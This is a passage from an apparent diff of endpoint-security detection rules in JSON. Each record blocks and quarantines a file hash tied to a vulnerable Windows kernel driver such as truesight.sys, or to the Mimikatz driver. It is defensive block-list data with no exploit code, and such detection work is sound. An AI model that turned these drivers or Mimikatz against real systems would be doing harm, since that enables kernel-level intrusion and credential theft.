+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b2a99482-42d5-5f3b-95a6-95fd0b9921b5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826612Z",
+  "creation_date": "2026-03-23T11:45:31.826614Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826619Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "62400cb2654a27de7b71c9515500836ccedc9708a2c6267129552cc94a9ee31a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b2aa9d34-8760-5271-a323-eaa046220692",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142736Z",
+  "creation_date": "2026-03-23T11:45:31.142738Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142743Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "044a6623c9c09992ef540cc1ed340840cd97b60568e7a0fea1b73e317fa5a4c6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b2ace72f-aa44-5bce-afb9-3b505b77b840",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982342Z",
+  "creation_date": "2026-03-23T11:45:29.982344Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982350Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "15fb486b6b8c2a2f1b067f48fba10c2f164638fe5e6cee618fb84463578ecac9",
+  "comment": "Vulnerable Kernel Driver (aka winio64.sys) [https://www.loldrivers.io/drivers/1ff757df-9a40-4f78-a28a-64830440abf7/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b2b79da1-5013-536f-860e-1dd3775b40dc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811975Z",
+  "creation_date": "2026-03-23T11:45:31.811977Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811983Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "33492b6fb772dfccd9ad5de4590d6f4f85b69557444b9391d306fcf737c4379a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b2bd0ba9-736c-52c4-a106-9bdb2aa84e70",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824686Z",
+  "creation_date": "2026-03-23T11:45:30.824689Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824753Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fe78f5401bdf2128cfd8b18aa9f8ca9dae09a26b90570c2a37c4605b98ab271c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b2bd2ea5-4ce1-59f1-80cb-2bb4ab6fd11c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817453Z",
+  "creation_date": "2026-03-23T11:45:30.817455Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817460Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d033f5c0a764aa7ecff779cf7fe13140d7d8eb1645dd212f408ed2fa119e3b47",
+  "comment": "Vulnerable Kernel Driver (aka AODDriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b2be11e3-4779-5a9d-ad29-ab8e071b6d82",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831784Z",
+  "creation_date": "2026-03-23T11:45:30.831786Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831792Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b67d3d080d174ec014ca67e715cdbb9d82dbc8cde08722fa33e8727804e9d6bf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b2c4fa1c-93d4-5168-9f01-94df423dca81",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.482539Z",
+  "creation_date": "2026-03-23T11:45:31.482542Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.482552Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "348c4503691db331aee05d76b0e092eb8cb7c593bcf0d3ee616bc3a3506d1dd2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b2cf9a09-d426-5315-a355-c398012f5cbb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809045Z",
+  "creation_date": "2026-03-23T11:45:31.809047Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809053Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1958544f77fb89a3b7bee11538ee9afc999385bdd3edf9925745ab82c32fcabf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b2d87ec1-472b-550a-999b-663285c7310d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835702Z",
+  "creation_date": "2026-03-23T11:45:30.835704Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835709Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2130c85eb9084ac6847764452ba207ee7d830020f736695307ad1601dacd4f14",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b2d899e1-b603-58db-af00-ac699d1807cb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970401Z",
+  "creation_date": "2026-03-23T11:45:29.970404Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970413Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b2d2a55a8de6f8310081a59e28e35b51f3687762b86f116c30d0ac79e6821239",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b2da8954-f86b-5e1b-baa1-38f1de999333",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809117Z",
+  "creation_date": "2026-03-23T11:45:31.809119Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809125Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "568c6a1caf69392999b7208e31baf08c2090df27e429b594b615b4ffc36c2754",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b2df58be-ea26-5d0a-bfea-b71b5c45bd8a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983963Z",
+  "creation_date": "2026-03-23T11:45:29.983965Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983970Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "453be8f63cc6b116e2049659e081d896491cf1a426e3d5f029f98146a3f44233",
+  "comment": "Vulnerable Kernel Driver (aka LMIinfo.sys) [https://www.loldrivers.io/drivers/a02ee964-a21e-4b08-9c98-a730c90bfd53/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b2e62846-8e34-5c13-97c7-0463638ac223",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472288Z",
+  "creation_date": "2026-03-23T11:45:31.472291Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472300Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "43f3c7c18f1bcacd3459b5ed63eefbcdbb61896bdeecb46fd492ff73556a34e6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b2f0d204-8c6d-5d92-82a6-a2c50177bedd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818523Z",
+  "creation_date": "2026-03-23T11:45:30.818525Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818531Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a188760f1bf36584a2720014ca982252c6bcd824e7619a98580e28be6090dccc",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b2fd89bf-6b34-5a25-b01a-d5dc2a756739",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985181Z",
+  "creation_date": "2026-03-23T11:45:29.985183Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985188Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3384f4a892f7aa72c43280ff682d85c8e3936f37a68d978d307a9461149192de",
+  "comment": "Dangerous Physmem Kernel Driver (aka HwRwDrv.Sys) [https://www.loldrivers.io/drivers/e4609b54-cb25-4433-a75a-7a17f43cec00/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b310293c-865a-5ff5-b5e6-4308a8518fa4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606456Z",
+  "creation_date": "2026-03-23T11:45:29.606458Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606466Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "15484782626c0033d4718fe55370106aaab48fe3cc68695bf7724c5578686531",
+  "comment": "Vulnerable Kernel Driver (aka nt6.sys) [https://www.loldrivers.io/drivers/e71f0866-e317-44d4-a456-d6f0c555aa73/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b31938f0-6927-5af3-aac3-e7255a59faa6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159574Z",
+  "creation_date": "2026-03-23T11:45:31.159577Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159586Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "75d4cf044e7dbccbe2f601a2dd2fa0428a7d129a77847d91d0cbbaae059338fd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b32d8541-3d51-5b28-908f-91c5c4d84fff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494475Z",
+  "creation_date": "2026-03-23T11:45:31.494477Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494482Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4833c38a5ef7256f78e8cd5c6ce5d58795061efbed04de331cc8ff3a2d32dac7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b3342d44-cb03-59bd-b83d-1aab8c2d2911",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820054Z",
+  "creation_date": "2026-03-23T11:45:31.820057Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820065Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7ec63ff447a7aa1fc3fe63378410ae4ba5c673b624d1a272308ce3fed47bd00f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b33c4458-7228-53e2-956a-fdc435f88534",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820436Z",
+  "creation_date": "2026-03-23T11:45:31.820439Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820448Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a66f87966ea5c045dbd41ba4452679c01559f4e2e2fcd8a1c4552aff5be09f46",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b33e6c62-564a-5b5f-8e88-ca9a06c79c75",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821263Z",
+  "creation_date": "2026-03-23T11:45:31.821266Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821274Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "198226366d49b62e0eb464096d64e40ad822f6c7f66f82249f69a17cdbcdb665",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b34738af-593f-536a-95d5-6e3fa11ef2e3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
